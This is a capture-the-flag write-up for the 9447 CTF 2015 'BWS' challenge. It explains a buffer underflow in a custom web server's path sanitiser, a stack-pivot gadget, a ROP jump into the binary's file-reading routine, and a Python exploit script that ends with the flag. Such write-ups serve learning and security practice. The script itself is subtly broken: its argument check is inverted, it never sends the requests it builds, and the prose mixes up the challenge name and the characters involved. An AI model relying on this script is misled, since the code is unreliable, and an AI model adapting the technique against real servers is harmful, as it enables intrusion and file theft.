Tags: exploiting pwn 

Rating: 0

#9447-2015-CTF BWS

This challenge was the second part of the YWS challenge where a custom web server was hosting a website. From YMS, we found that there was a directory traversal bug that allowed us to list the files in the root directory. We could see that the root directory contained what appeared to be the flag.txt file we needed to read.

Sending a request for something that doesn't exist returns "Could not find \<input\>". Attempting to retrieve the flag with "GET /../flag.txt HTTP/1.1" does not return anything from the server.

To get a better understanding of what is happening we open up the binary in IDA Pro. We locate the function responsible for handling the request at address 0x400D00. During the parsing of the request the function attempts to sanitize any requests that contain a "../" by rewinding the buffer to the first "/" before these characters. If one does not exist in the buffer, a buffer underflow occurs because the routine attempts to find a "/" anywhere in on the stack at a lower memory address.

With a little trial and error, we realize if we send an intial request that contains a "\", then when we send a second request with the "../" trigger, the "\" from the first request will still be in memory at lower address and cause memory corruption that will overwrite the current function return address.

At this point, we just need to determine the protections on the binary so we can begin constructing a proper payload.

gdb-peda$ peda checksec
PIE : disabled
RELRO : Partial

Since DEP is enabled, we need to create a ROP chain that will allow us to read our flag. We also need to pivot our stack since we are in the filename parsing section of the HTTP request and are unable to use NULL bytes here. Luckily we found a gadget at 0x400f39 that will work.

add rsp, 1A8h

Now that we've pivoted our stack, we begin thinking of the best way to read our flag and send it across the socket. Fortunately, the binary already provides this functionality. Starting at address 40115E, the binary passes rsp to read_file which is the path to the file to read and send back.

.text:000000000040115E mov edx, 10000h ; a3
.text:0000000000401163 mov esi, offset file_buf ; a2
.text:0000000000401168 mov rdi, rsp ; a1
.text:000000000040116B call read_file
.text:0000000000401170 test eax, eax
.text:0000000000401172 js short loc_4011C0
.text:0000000000401174 xor esi, esi
.text:0000000000401176 mov edx, offset file_buf
.text:000000000040117B test ebp, ebp
.text:000000000040117D cmovz rsi, rdx ; a2
.text:0000000000401181 mov edi, offset a200Ok ; "200 OK"
.text:0000000000401186 mov edx, eax ; a3
.text:0000000000401188 call send_response

Putting it all together we come up with the following script

import socket
import sys
from pwn import *

if len (sys.argv) == 3:
(progname, host, port) = sys.argv
print len (sys.argv)
print 'Usage: {0} host port'.format (sys.argv[0])
exit (1)

csock = socket.socket( socket.AF_INET, socket.SOCK_STREAM)
csock.connect ( (host, int(port)) )


data = "GET /"
data += "A"*253
data += "// HTTP/1.1"
data += "\x0d\x0a"
data += "\x0d\x0a"


print csock.recv(8192)

payload = struct.pack( "Q", 0x40115E)
payload += "/../flag.txt\x00"

data = "GET /../"
data += "c" * 20
data += struct.pack("I",0x400f39)[:-1]

data += " HTTP/1.1"
data += "\x0d\x0a"

data += "B" * 78
data += payload

data += "\x0d\x0a"
data += "\x0d\x0a"


print csock.recv(8192)


Running our script we get
Flag: 9447{1_h0pe_you_L1ked_our_w3b_p4ge}